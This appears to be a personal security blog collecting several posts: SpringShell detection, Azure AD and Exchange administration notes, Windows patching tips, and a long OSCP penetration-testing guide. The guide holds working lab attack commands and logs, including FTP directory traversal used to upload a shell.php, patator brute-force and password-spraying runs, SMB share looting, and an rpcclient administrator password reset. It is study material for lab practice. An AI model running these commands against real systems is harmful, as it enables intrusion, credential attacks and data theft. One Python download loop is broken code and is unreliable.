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GoBuster Using Multiple Lists

One issue I had with Gobuster and any of the site brute forcing tools like dirbuster/dirb is that they only take one list at a time per command.
So to run several lists through them is extremely tedious.

I instead opted to create a wrapper script in Python to call gobuster on multiple lists for me.  I used lists that come with the newer Kali upgrades/distros and make for a good start when attacking boxes for practice in labs or CTFs.

In case it isn’t installed the only non Python basic module needed is “sh”

“pip install sh”

https://pypi.org/project/sh/

Gist from my Github:

SpringShell Detection/Remediation

How do we best detect the SpringShell vulnerabilty(CVE-2022-22965)?

Microsoft created a nice blog on the vulnerability here listing remediations and detection methods: https://www.microsoft.com/security/blog/2022/04/04/springshell-rce-vulnerability-guidance-for-protecting-against-and-detecting-cve-2022-22965/

Using this information and those of your Vulnerabiilty scanners we can start to discover legitimately vulnerable systems. There’s unfortunately a lot of false positives and so we might employ several tools which I’ll list here.

  1. To scan a suspect server for known suspect files there is this tool from qualys that scans Windows machines https://github.com/Qualys/spring4scanwin
  2. Nmap NSE script https://github.com/gpiechnik2/nmap-spring4shell
  3. Powershell script I created. It takes a csv file with an “Address” field that includes IP addresses to scan, using the known detection method as described in the MS report and others:
curl host:port/path?class.module.classLoader.URLs%5B0%5D=0

I use this scan external hosts for ports 80 and 443. You can modify this for your own use looking for a 400 http response. Also make sure to modify the export path so you can have a nice report of the hosts and their results.

Remediation/Mitigation

If you detect the vulnerable hosts you will need to apply patches for the spring framework or work with vendors to make sure apps are upgraded.

Spring Framework fixed releases:

  • 5.3.18+
  • 5.2.20+

Expanding a VMware VM OS disk in Ubuntu 20 with Workstation 16

  1. The VM needs to be powered off
  2. Back up your VM to usb drive or otherwise
  3. Delete the snapshots associated to the VM
  4. Expand the drive(make sure you have space on the host)
  5. Resize the drive within the Ubuntu vm in this case
Deleting snapshots within workstation 16 Snapshot manager for the VM

Expanding the drive
Once expanded to the size needed save the config and you will need to repartition the drive within the VM to make the space available

Confirm the disk your expanding by running the command lsblk

“lsblk” command shows the 40G disk expanded from 20G. We currently see the “sda5” partition as the largest visible and working used space along with the other sda* partitions.

Resizing the partition

Using the Disks tool(in Ubuntu 20 > Activities >Search > Disks) I had to resize both the Extended and Filesystem partitions. First the Extended partition then the Filesystem. BACKUP!! before doing this. You can resize by clicking the gear icon then choosing “Resize” drag the slider as far as you want to eat into the Free space.
After resizing you have the fully expanding disk in use by your filesystem.

On-Prem AD vs AzureAD Password policy usage

For hybrid environments if you need to find out what password policy is officially being used there are few guidelines to keep abreast of.

If your user accounts are synchronized using Azure AD connect they will be using the on-premises AD policy

Use this command to check the policy from the on-prem AD
Get-ADDefaultDomainPasswordPolicy -Identity <YourDomain.com>

AzureAD policies apply when user accounts that are created and managed directly in Azure AD.

The following information is pulled from this guide directly from MS.

AzureAD Password Policies
PropertyRequirements
Characters allowedA – Z a – z 0 – 9 @ # $ % ^ & * – _ ! + = [ ] { } | \ : ‘ , . ? / ` ~ ” ( ) ; blank space
Characters not allowedUnicode characters.
Password restrictionsA minimum of 8 characters and a maximum of 256 characters. Requires three out of four of the following: Lowercase characters. Uppercase characters. Numbers (0-9). Symbols (see the previous password restrictions).
Password expiry duration (Maximum password age)Default value: 90 days. The value is configurable by using the Set-MsolPasswordPolicy cmdlet from the Azure Active Directory Module for Windows PowerShell.
Password expiry notification (When users are notified of password expiration)Default value: 14 days (before password expires). The value is configurable by using the Set-MsolPasswordPolicy cmdlet.
Password expiry (Let passwords never expire)Default value: false (indicates that password’s have an expiration date). The value can be configured for individual user accounts by using the Set-MsolUser cmdlet.
Password change historyThe last password can’t be used again when the user changes a password.
Password reset historyThe last password can be used again when the user resets a forgotten password.
Account lockoutAfter 10 unsuccessful sign-in attempts with the wrong password, the user is locked out for one minute. Further incorrect sign-in attempts lock out the user for increasing durations of time. Smart lockout [docs.microsoft.com] tracks the last three bad password hashes to avoid incrementing the lockout counter for the same password. If someone enters the same bad password multiple times, this behavior will not cause the account to lock out.

It’s important to note that some settings can’t be modified if your user accounts are exclusively managed within AzureAD.

App-only Authentication for Exchange Online w/Powershell

A modern authentication alternative to using service accounts in your Azure Active directory environment that may otherwise have to bypass basic authentication protections in order to perform unattended scripting operations.

Pros:

  • Not needing to bypass the Modern Authentication enforcement in your Conditional access policies or MS365 settings.

Cons:

  • Anyone with the certificate and application information could possibly authenticate to your exchange environment so the certificate should be highly guarded.

Checking if you have accounts on different Authentication profiles that are bypassing the security defaults. Powershell commands:

# Connect to Exchange 
Import-Module -Name ExchangeOnlineManagement
Connect-ExchangeOnline

# Get all policies
Get-AuthenticationPolicy | Format-Table -Auto Name

# Get a particular users policy
 get-user -Identity service_acct | select AuthenticationPolicy

 # Set a particular users policy
  Set-User -Identity service_acct -AuthenticationPolicy "Block Basic Auth"

DISCLAIMER: Please follow your own security protocols. This is just a demo.

Demo video on setting up an Azure Automation runbook to use a registered application.

This starts from building the automation account to finally executing a script that will connect to Exchange Online and perform commands.

https://youtu.be/AMiVCqUfkb0
  • REF: https://docs.microsoft.com/en-us/powershell/exchange/app-only-auth-powershell-v2?view=exchange-ps#set-up-app-only-authentication
  • REF: https://docs.microsoft.com/en-us/exchange/clients-and-mobile-in-exchange-online/disable-basic-authentication-in-exchange-online#create-and-apply-authentication-policies

SOAR Product Research

From an engineers perspective Security Orchestration,Automation and Response(SOAR) products are incredibly enticing in that they offer the ability to automate technical aspects of your day to day work but also streamline the process involved in the decision making and triage.

API integrations:

A very appealing piece about SOAR products is that they offer API integration for which you can use to automate responses to alerts or use for alert enrichment. A lot of times I might have to connect to an API, perform the logic and get into the code so to speak in order to make something happen. The ultimate promise with SOAR is we don’t have to do this. A no code/programming experience.

Most vendors provide a list of integrations they have. Although this doesn’t exactly list out what capabilities it has it is good to know that the vendor has been developing integrations for your organizations particular product suite or covers most of it. Some vendors might not have as many capabilities or lean on community developed extensions.

Use Cases:

  • Automated Phishing investigations from alerts to purges
  • Enhance alert investigations by providing additional context data that would be manually done by a SOC analyst
  • Automate threat hunting cases by pulling data from all your disparate tools
  • Automate IOC lookups in Threat intel platforms like VirusTotal or Talo Intel
  • Automate user permissions validation and account disables
  • Automate Provisioning/Deprovisiong beyond just your Active Directory environment ie;your payroll app too
  • Automate the Malware incident response steps: Identify,investigate,Contain and remove

Chat-bot Operations:

Some of the vendors offer a chat operation to send alerts that bubble up to your team via either Microsoft’s Teams or something like a Slack group chat.

Integration lists from different SOAR vendors

Resources:

https://www.rapid7.com/info/security-orchestration-and-automation-playbook/

https://techcommunity.microsoft.com/t5/Security-Privacy-and-Compliance/Introducing-new-code-free-options-to-connect-with-Microsoft/ba-p/328730

Penetration Testing for OSCP – Guide 2

The guide touches on searching for exploits,getting/using reverse shells, escalating for Administrator accounts on Windows/Root for Linux, pivoting across networks, Attacking a windows domain, password cracking techniques, exploit testing, post root/admin actions and more.

Please follow the entire guide on my GitHub account(see link below). I can more readily and easily display Markdown files which make for a much easier conversion from my Jupyter Notebooks where I build most of my documentation.

https://github.com/DevilSquidSecOps/PentesterOps/blob/master/pentester_guide2_Shells-PrivEsc-Pivoting.md

Automated .ps1 scripts with Task Scheduler

Action Options to run a script in Task Scheduler.

  • Program/Script: Scripts%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe
  • Arguments: -File .\Copy-Jobs_SB.ps1
  • Start in(path): C:\Anaconda3\Notebooks\MyScriptsTEST

Schedule Setup

Pretty simple outline in the gui. Use the “run now” buttons to verify they will actually work though when ran on a schedule.

Use Secure Strings to at least hide the plain text passwords or keys you use in your scripts. Remember that you must generate a Secure String with the account you will be using.

Also make sure to automate these scripts from a secured server. No one should be able to easily connect and read these other than yourself of the security team.

Troubleshooting non-working scripts

Trouble Shooting a service account issue. For instance you originally used an account you tested with(like your personal user admin account etc)

Use a Try/Catch block in your ps1 script in the case you can’t tell if it’s something getting caught up while Task Scheduler runs the script. This happened to me when configuring a service account for production to run the script that I had originally tested with my user account. After verifying the script ran I found out it was getting caught up in the translation of a Secure String I created with my user account. These Secure Strings need to be generated by the account that runs the script.

Try {  

<DO SOMETHING>

}
#ASSIGN VARIABLES TO THE BUILT IN EXCEPTION RESULTS PRINT THEM TO A LOG
Catch {
$ErrorMessage = $_.Exception.Message
$FailedItem = $_.Exception.ItemName
$hrresult = $_.Exception.HResult
$stacktrace = $_.Exception.StackTrace
Add-Content c:\temp\log.txt "second error message was: $ErrorMessage Failed Item was: $FailedItem `nstacktrace was: $stacktrace $hrresult"
}





Below is an example of exceptions logged that deduced my issues to the Secure String used.

Future Improvements:

  • Run automated scripts using an MSA account

Finding a Microsoft KB in a Cumulative Update

• Windows patches linked to Knowledge Base articles or MS bulletins roll up and become unavailable as a hot-fix/single update file and go into a cumulative update. This can pose an issue when your Deployment system like SCCM or BigFix no longer have the update to push to machines since they follow Microsoft’s patch catalog for which old updates get rolled up and removed. This can become an issue when your trying to force patch machines that may become vulnerable to malware that the patch can fix and you can’t readily find what patch to use since the KB originally able to fix a vulnerability is now no longer available for single update.
• Although keeping all machines up to date is best practice it can become an issue when legacy applications begin to break and when if settings allow users to delay updates it’s likely a population of un-patched machines will arise.
• Windows 10 patches are normally fixed in new versions so updating works but if you want to see if you can find a KB or MSXX-xxxx bulletin you can search the known cumulative updates
Find your Security Vulnerability Builletin:
MS17-010 – google search and go to the MS site https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010 Follow it to the KB used to install on Win10 1511 x64 machines https://support.microsoft.com/eu-es/help/4013389/title you’ll find the install instructions provide KB4013198 as actual file needed.
Search for this in the MS update catalog. But you’ll have to do it by Cumulative update since this is older and rolled up.
• Go to: http://www.catalog.update.microsoft.com
o Search for “windows 10 version 1511” filter by last updated
o Look for latest cumulative update for the version and arch.
o Search for the KB installer “KB4013198” under the “Update Details” > “Package Details” using ctrl+F for quick finds


Finding the Cumulative update in BigFix so you can install it on machines.
Go to:

https://YourBesServer.domain.com > log in > Apps > Patch > use the KB patch name for the Cumulative update you found “KB4093109”


From here you can see that it is available and you can deploy it to vulnerable machines to patch for the SMB exploits.

Pentester OSCP Guide One – Service Enumeration and Preparations

Preparations

  • make a working directory for every box you hit to store details like nmap scans and other files you collect
  • These are all manual methods that should be automated once a user is familiar with what is going on

Mount point to other tools to grab from the victim machine on your server

Privilege Escalation tools

mkdir priv-esc-unix

mount –bind /root/priv-esc/unix/ priv-esc-unix

mkdir priv-esc-win

mount –bind /root/priv-esc/windows/ priv-esc-win

Windows Binaries

mkdir win-bins

mount –bind /usr/share/windows-binaries/ win-bins

Cloning GitHub Repos

  • a lot of tools are in github and we can easily download scripts or projects of tools by using their git URL and cloning it onto our machine to use it immediately

Cloning the Patator git from https://github.com/lanjelot/patator using the clone/download button

git clone https://github.com/lanjelot/patator.git

Cloning a particular folder

svn checkout https://github.com/SecWiki/windows-kernel-exploits/trunk/MS14-068/pykek

Downloading a single file

wget -L https://github.com/gottburgm/Exploits/raw/master/CVE-2017-7679/CVE_2017_7679.pl

Update any new files in a repo

  • it will use the hidden .git files in a downloaded clone ie; empire

cd ~/extra-tools/powershell/Empire

git pull

Compile with Makefile

  • git clone and if offered you can use the simple makefile to compile it with all that is neededmake -f makefile

Finding/Installing From Kali Repos

apt search smbmap

apt install smbmap

Update NSE scripts database

In [35]:

#updating NSE Scripts database using Python
import sh
sh.nmap('--script-updatedb')

Out[35]:

Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-11 16:48 PDT
NSE: Updating rule database.
NSE: Script Database updated successfully.
Nmap done: 0 IP addresses (0 hosts up) scanned in 1.68 seconds

Manually Download NSE Scripts

  • substitute the sh commands for bash commands within kali bash prompt

In [ ]:

#download nse scripts from https://nmap.org/nsedoc/ and import them to nse directory
ssh_scripts = ['https://svn.nmap.org/nmap/scripts/ssh-auth-methods.nse','https://svn.nmap.org/nmap/scripts/ssh-brute.nse',
               'https://svn.nmap.org/nmap/scripts/ssh-publickey-acceptance.nse','https://svn.nmap.org/nmap/scripts/ssh-run.nse'
              ]
for dl_link in ssh_scripts:
    if dl_link
    sh.cd('/usr/share/nmap/scripts/')
    sh.wget(dl_link)

Check Available NSE Scripts

In [2]:

#Find available .nse scripts in the default directory for each service
!ls /usr/share/nmap/scripts/ | grep rpc
bitcoinrpc-info.nse
deluge-rpc-brute.nse
metasploit-msgrpc-brute.nse
metasploit-xmlrpc-brute.nse
msrpc-enum.nse
nessus-xmlrpc-brute.nse
rpcap-brute.nse
rpcap-info.nse
rpc-grind.nse
rpcinfo.nse
xmlrpc-methods.nse

Kali Sec Lists

Install latest lists from https://github.com/danielmiessler/SecLists
  sudo apt-get install seclists

Nmap Technique

  • Quick commands https://github.com/DevilSquidSecOps/NetworkOps/edit/master/Nmap.md
  • -sC means default scripts scan
  • -sV means do version dection of port service
  • -oA means ouput to .nmap .gnmap and .xml formats to specified file
  • –top-ports you can specify 100,1000,10000
  • -oN <filename> export to a normal file(like nmaps normal output)
  • -sS syn scan
  • -iL enter a list of host ips ie; hosts.txt

Initial Subnet Scan

  • TCPnmap -oA top1000TCP.nmap -sS -sV -T3 –top-ports 1000 10.18.1.0/24
  • UDPnmap -oA top100UDP.nmap -sU -sV -T3 –top-ports 100 10.11.1.0/24

Initial Host Scan

nmap -oN scan.nmap -v -sS -sU -T5 –top-ports 1000 10.10.10.51

nmap -sC -sV -oA fighter 10.10.10.72

Scan top 10,000 ports

  • avg 134.74 seconds

nmap -oN scan.nmap -v -sS -sV –top-ports 1000 10.10.10.7

Using Vulners nse script

nmap -oN vulners.nmap -sV –version-intensity 9 –script vulners -p 80 10.10.10.37

Scan All ports

nmap -p- -T5 -oN all.nmap 10.10.10.51

Grep open ports

  • need nmap gerppable file

grep -oP ‘\d{1,5}/open’ scan.grep

Grep Particular Open Port and list hosts

cat top1000.nmap.gnmap | grep “22/open/” | awk ‘{print $2}’

scan from list of parsed hosts

nmap -sV -oG smb.nmap –script “smb- and not smb-brute and not smb-flood” –script-args= -d -Pn -v -p 139,445 -iL smb-open.txt

Awk Open ports and pipe to new NMAP scan

  • -F ” |/” sets the field separator ie; 22/open
  • /open/ on any line that has “open” in it
  • {print $1} print the first field of that line ie; “22” if the line started with 22/open
  • {print $NF”:”$4} this would print the last field in the line followed by a colon and then the 4th field
  • ORS=”,” this replaces the newline chars with a comma putting all ports from an nmap scan into one line separated by commas
  • {print substr($1, 1, length(\$1)-1)} choose the line “$1, 1,” and make it’s length the line itself minus one char “length(\$1)-1)}”

awk -F” |/” ‘/open/ {print $1}’ ORS=”,” scan.nmap | awk ‘{print substr(1,1,length(1,1,length(1)-1)}’ | xargs -I ‘{}’ nmap -oN vulners.nmap-v -sV –version-intensity 9 -T2 –script vulners -p {} 10.10.10.11

Nping

  • use instead of ping to send syn packets instead or any flag you wantnping –tcp -p 80 -c 4 –flags SYN 10.10.10.48
  • Nping with proxy chains using a connect scan as requiredproxychains nping –tcp-connect -c 1 -p 3389 10.1.1.224

Vulners

  • testing the api nmap would be using if i found FileZilla as an open service

curl https://vulners.com:443/api/v3/burp/software/?software=FileZilla\&version=0.9\&type=software

Vulners Nmap NSE Script

  • once initial scan completes do a service scan against the known ports and use the vulners.nse script

nmap -oN vulners.nmap -sV –script vulners -p 80 10.10.10.37

  • grep for exploit-db or github POCs

cat vulners.nmap | grep -i -b “exploit-db|github.com”

  • Only print CVEs that have a POC on exploit DBcat vulners.nmap | awk ‘{print $4}’ | grep http | xargs -I ‘{}’ sh -c ‘curl -s {} | grep -i -b -c exploit-db.com && echo “{}”‘

Python vulners Module#Simple Usage Example import vulners #CHANGE CAN to CVE FROM NIKTO SCANS vulners_api = vulners.Vulners() cve = vulners_api.document(“OSVDB:3268”) cve#CVSS DATA print(cve.keys()) print(cve[‘cvss’]) print(cve[‘cvss’][‘score’])

FTP(20/21)

NMAP

nmap -oN ftp.nmap –script “ftp- and not ftp-brute” –script-args= -d -Pn -v -p 21 10.10.10.37

In [21]:

#view available nmap nse scripts
#download scripts if not here and place them here to have nmap run them
!ls /usr/share/nmap/scripts/ |grep "ftp" #search for the ftp scripts
ftp-anon.nse
ftp-bounce.nse
ftp-brute.nse
ftp-libopie.nse
ftp-proftpd-backdoor.nse
ftp-syst.nse
ftp-vsftpd-backdoor.nse
ftp-vuln-cve2010-4221.nse
tftp-enum.nse

In [28]:

host = "10.11.1.8"
port = 21#first port connection
udp = None
###### runs all ftp scripts except those specified with some expression syntax * wild card is allowed
arguments = f'''
        --script "ftp-* and not ftp-brute*" 
        --script-args=
        -d -Pn -v -p {str(port)}'''
df1,df2,xml = vulns(host,arguments)
Elapsed Time: 2.40
IP/MAC: {'ipv4': '10.11.1.8', 'mac': '00:50:56:89:3D:A7'}
status: {'state': 'up', 'reason': 'arp-response'}
vendor: {'00:50:56:89:3D:A7': 'VMware'}
Hostnames: [{'name': '', 'type': ''}]
['10.11.1.8']
command: nmap -oX - --script "ftp-* and not ftp-brute*" --script-args= -d -Pn -v -p 21 10.11.1.8
scaninfo: {'tcp': {'method': 'syn', 'services': '21'}}

In [31]:

#Is anonymous ftp allowed?
#what version of ftp is installed?
data(df2)
dict_keys(['hostnames', 'addresses', 'vendor', 'status', 'tcp']) 

ftp-anon
Anonymous FTP login allowed (FTP code 230)
Can't get directory listing: ERROR 

ftp-syst

  STAT: 
FTP server status:
     Connected to 10.11.0.192
     Logged in as ftp
     TYPE: ASCII
     No session bandwidth limit
     Session timeout in seconds is 300
     Control connection is plain text
     Data connections will be plain text
     At session startup, client count was 6
     vsFTPd 2.0.1 - secure, fast, stable
End of status 

Anonymous Login Function

In [34]:

def anonLogin(hostname): 
    import ftplib
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', '[email protected]') #providing the user/domain is a courtesy and not neede
        print(f'\n[*] {hostname} FTP Anonymous Logon Succeeded.')
        ftp.retrlines('LIST') #list directory and permissions
        dirs = ftp.nlst()#list only directories in list form
        print(f'{dirs}') 
        ftp.dir() #lists directory and permissions in list form
        ftp.cwd(dirs[0])         # change directory to /pub/
        print(ftp.dir())
        print(data)
        ftp.quit() 
        return True 
    except Exception as e: 
        print(e)
        print(f'\n[-] {hostname} FTP Anonymous Logon Failed.')
        return False

FTP Client for File Traversal

USING FILE TRAVERSAL TO BROWSE THE MACHINES HOME DIRECTORIES IN THIS CASE LOOKS LIKE A WINDOWS BOX
Use discovered creds to login
https://superuser.com/questions/1044667/ftp-directory-traversal-attack-on-directories-containing-white-spaces
 root@kali:/usr/share/ncrack# ftp 10.11.1.125
Connected to 10.11.1.125.
220 Femitter FTP Server ready.
Name (10.11.1.125:root): tophat 
331 Password required for tophat.
Password:
230 User tophat logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir -------------------------HERE WE LOOK FOR THE 
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
-rw-rw-rw-   1 ftp      ftp        11164 Dec 26  2006 house.jpg
-rw-rw-rw-   1 ftp      ftp          920 Jan 03  2007 index.htm
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Upload
226 File sent ok
File Traversal attack here
ftp> dir ../
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
-rw-rw-rw-   1 ftp      ftp           48 Nov 01  2010 buy.url
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Configs
-rwxrwxrwx   1 ftp      ftp      1095168 Nov 01  2010 fem.exe
-rw-rw-rw-   1 ftp      ftp         2145 Sep 23  2015 INSTALL.LOG
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Logs
-rw-rw-rw-   1 ftp      ftp        59904 Nov 01  2010 manual.chm
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Shared
-rwxrwxrwx   1 ftp      ftp       148992 Feb 22  1999 UNWISE.EXE
226 File sent ok
Ftp upload attemps with put and send
   put shell.php shell.jpg
    local: shell.php remote: shell.jpg
    200 Port command successful.
    501 Permission Denied

ftp> send
    (local-file) shell.php
    (remote-file) shell.jpg
    local: shell.php remote: shell.jpg
    200 Port command successful.
    501 Permission Denied

File Download attemps
ftp> GET ../../../boot.ini
?Invalid command
ftp> get ../../../boot.ini
local: ../../../boot.ini remote: ../../../boot.ini
200 Port command successful.
150 Opening data connection for ../../../boot.ini.
226 File sent ok
211 bytes received in 0.00 secs (333.4218 kB/s)
ftp> mget ../../../boot.ini
Filename provided by server doesn't match pattern `../../../boot.ini': /C:/Program Files/Femitter/Shared/../../../boot.ini not found
Refusing to handle insecure file list

Move Files to the downloadable/uploadable directory for manipulation

ftp> rename ../../../MSN /Upload/MSN
350 File exists, ready for destination name.
250 File '/C:/Program Files/Femitter/Shared/Upload/../../../MSN' renamed to '/C:/Program Files/Femitter/Shared/Upload/MSN'.
ftp> ls
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Jul 15 05:36 .
drw-rw-rw-   1 ftp      ftp            0 Jul 15 05:36 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 MSN
-rw-rw-rw-   1 ftp      ftp          946 Jul 15 05:30 shell.php
-rw-rw-rw-   1 ftp      ftp           28 Dec 26  2006 uploaded.txt
226 File sent ok
ftp> put /root/shell.php /MSN/shell.php
local: /root/shell.php remote: /MSN/shell.php
200 Port command successful.
501 Permission Denied
ftp> put /root/shell.php /Upload/MSN/shell.php
local: /root/shell.php remote: /Upload/MSN/shell.php
200 Port command successful.
150 Opening data connection for /Upload/MSN/shell.php.
226 File received ok
946 bytes sent in 0.00 secs (23.1327 MB/s)
ftp> rename /Upload/MSN ../../../MSN
350 File exists, ready for destination name.
250 File '/C:/Program Files/Femitter/Shared/Upload/MSN' renamed to '/C:/Program Files/Femitter/Shared/Upload/../../../MSN'.
ftp> ls ../../../MSN
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Jul 15 05:37 MSN
226 File sent ok
ftp> ls ../../../MSN/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Jul 15 05:37 .
drw-rw-rw-   1 ftp      ftp            0 Jul 15 05:37 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 MSNCoreFiles
-rw-rw-rw-   1 ftp      ftp          946 Jul 15 05:37 shell.php


Download all files in a directory

mget *

  • Using wget is better. Then use Tree to quickly see what you havewget -m ftp://anonymous:””@10.11.1.14tree

FTP Brute Force with Patator

  • brute with combo list one hostpatator ftp_login host=10.11.1.220 port=21 user=COMBO0 password=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt -x ignore:fgrep=’Login or password incorrect’
  • password spray all hosts with ftp openpatator ftp_login host=/root/oscp/lab-net2019/ftp-open.txt port=21 user=COMBO0 password=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt -x ignore:fgrep=’Login or password incorrect’
  • Save details into a dir called ftp_spray with the REPORT.csv as the main file to read with libreoffice
  • the directory path gets auto createdpatator ftp_login host=FILE0 port=21 user=COMBO10 password=COMBO11 0=/root/oscp/lab-net2019/ftp-open.txt 1=/root/oscp/lab-net2019/combo-creds.txt -x ignore:fgrep=’Login or password incorrect’ -x ignore:fgrep=’cannot log in.’ -x ignore:fgrep=’Login incorrect’ -l ftp_spray

FTP Bounce Scan

  • scan hosts via proxied ftp server

Scan internal Proxid servers IPs

nmap –top-ports 1000 -vv -Pn -b anonymous:[email protected]:21 127.0.0.1

TFTP(udp:69)

Single Host

nmap -oN tftp.nmap -v -sU -sV -T2 –script tftp* -p 69 10.11.1.226

SMB(139/445)

  • smb-mbenum script will use udp 139

NMAP

Scan list of hosts

nmap -sV -oG smb.nmap –script “smb- and not smb-brute and not smb-flood” –script-args= -d -Pn -v -p 139,445 -iL smb-open.txt

scan host

nmap -oN smb.nmap –script “smb- and not smb-brute and not smb-flood” –script-args= -d -Pn -sV -T2 -v -p 139,445 10.11.1.136

Scan host using domain user

  • smbdomain needs to be specified, might be able to get this from an initial unauthentiated scannmap -oN smb.nmap –script “smb- and not smb-brute and not smb-flood” –script-args=smbusername=’billy’,smbdomain=’contoso.local’,smbpassword=’SuperSecret!’ -d -Pn -sV -T2 -v -p 139,445 10.10.1.220

List Nmap SMB ScriptsIn [1]:

!ls /usr/share/nmap/scripts/ | grep smb
smb2-capabilities.nse
smb2-security-mode.nse
smb2-time.nse
smb2-vuln-uptime.nse
smb-brute.nse
smb-double-pulsar-backdoor.nse
smb-enum-domains.nse
smb-enum-groups.nse
smb-enum-processes.nse
smb-enum-services.nse
smb-enum-sessions.nse
smb-enum-shares.nse
smb-enum-users.nse
smb-flood.nse
smb-ls.nse
smb-mbenum.nse
smb-os-discovery.nse
smb-print-text.nse
smb-protocols.nse
smb-psexec.nse
smb-security-mode.nse
smb-server-stats.nse
smb-system-info.nse
smb-vuln-conficker.nse
smb-vuln-cve2009-3103.nse
smb-vuln-cve-2017-7494.nse
smb-vuln-ms06-025.nse
smb-vuln-ms07-029.nse
smb-vuln-ms08-067.nse
smb-vuln-ms10-054.nse
smb-vuln-ms10-061.nse
smb-vuln-ms17-010.nse
smb-vuln-regsvc-dos.nse

SMBMAP

  • Using the smbmap vs the filepath seems to download files differntly using full file path will download them to my curent dir
  • fixed the smbmap.py script so i can run it directly with “smbmap” only

LIST available Shares with Guest account no Password

smbmap -u guest -p “” -H 10.10.10.40

Using null session

smbmap -H 10.11.1.136 -r

Guest Session with port specified for Samba

smbmap -u “” -p “” -H 10.11.1.115 -P 139

LIST AVAILABLE SHARES VIA NULL Session

/usr/share/smbmap/smbmap.py -H 10.11.1.136 -r

LIST ALL FILES/DIRS OF A SHARED DRIVE With RECURSION with NULL SESSION

/usr/share/smbmap/smbmap.py -H 10.11.1.136 -R “Bob Share”

Downloading a file

/usr/share/smbmap/smbmap.py -H 10.11.1.136 –download “Bob Share\ssshh\var\lib\python-support\python2.4\semanage.py”

Enumerate shares(Authenticated)

smbmap.py -u SVC_TGS -p ‘Incredible!Password!’ -d active.htb -H 10.11.10.100

[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.100...
[+] IP: 10.10.10.100:445        Name: DC.ACTIVE.HTB                                     
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    NO ACCESS
        NETLOGON                                                READ ONLY
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY
        Users                                                   READ ONLY

SMB CLIENT

  • Use nmap script to identify any possible open shares if the direct ip address alone doesn’t give way ie; wwwroot dir might be available but only if specified as the anonymous user.
  • Can also be used from unix clients to connect back to my smb server
  • use the smb-ls NSE script to identify shares that don’t map otherwise and connect with smbclient

Connect with NULL session

  • this can work especially if you see ntlmV2 hashes requiredsmbclient “//10.10.1.136/JaneShare”

Connect with guest account

smbclient “\\10.10.1.136\JaneShare” -u guest “”

  • make sure to use a lowercase “u” for the user switch

root@kali:~# smbclient “\\10.10.1.136\JaneShare” -u guest “” WARNING: The “syslog” option is deprecated Try “help” to get a list of possible commands. smb: > ls . D 0 Tue Aug 7 21:58:17 2018 .. D 0 Sat Jan 29 10:07:11 2011 sshme D 0 Wed Aug 26 02:54:18 2009 SecuredIthink D 0 Tue Oct 7 16:39:22 2008 rootfs D 0 Wed Aug 26 02:54:18 2009

Connect with domain user

smbclient “//10.10.1.136/JaneShare” -U Contoso/jane

Recursively Download entire folder

ref: https://superuser.com/questions/856617/how-do-i-recursively-download-a-directory-using-smbclient

mask “”

recurse ON

prompt OFF

cd ‘path\to\remote\dir’

lcd ‘~/path/to/download/to/’

mget *

Recursively Download OneLiner

  • downloads the share to the current directory(lcd)
  • -U=’username%password’ ——-use this to supply a domain/userame and password upon connecting to not be promptedsmbclient ‘\10.11.1.220\SYSVOL’ -U=’contoso/jane%SuperPassword^’ -c ‘prompt OFF;recurse ON;lcd ‘./’;mget *’

Upload a single file one liner

smbclient “\\10.20.20.115\Public” –user mike –pass mikey -c “put linenum-07-05-19”

allinfo

  • good to see access times and maybe replace a file with something executableallinfo <file>

stat

  • get permissionsstat <file>

RPCClient

Using Authenticated user

rpcclient -U SVC_TGS dc.active.htb

Change users password

setuserinfo2 administrator 23 ‘password1234’

Lookup user SID

lookupnames administrator

administrator S-1-5-21-117609710-1450960922-1801674531-500 (User: 1)

SMB Brute with Patator

Using a Combo File

  • a file with login:password
  • keep in mind you need start your placeholders with “0” then “1” and so on.
  • against one hostpatator smb_login host=10.121.1.33 domain=CONTOSO user=COMBO00 password=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt -l smb_brute
  • Brute a subnet with combo listpatator smb_login host=FILE0 domain=CONTOSO.LOCAL user=COMBO10 password=COMBO11 0=/root/oscp/lab-net2019/smb-open.txt 1=/root/oscp/lab-net2019/combo-creds.txt -x ignore:fgrep=”STATUS_LOGON_FAILURE”
  • Using Rate limits for slower conns and more accuracy, is slower.

patator smb_login host=10.10.1.44 –timeout 100 domain=CONTOSO user=COMBO00 password=COMBO01 0=/root/oscp/lab-net2019/combo-creds.txt -l smb_brute –threads=2 –rate-limit=2 -x ignore:mesg=’STATUS_LOGON_FAILURE’

IMAP(143)

nmap -oN imap.nmap –script imap-capabilities,imap-ntlm-info,imap-brute –script-args= -d -v -p 143 10.10.10.7

HTTP(80)

NMAP

command that doesn’t hang with kali upgrade 11/18/2018

Win Boxes

nmap -oN http.nmap –script “http and not http-brute and not http–brute and not http-slowloris and not http-rfi-spider and not http-sql-injectionand not http-form” –script-args= -d -sV –version-intensity 9 -Pn -vv -p 80 10.10.10.13

for nix boxes

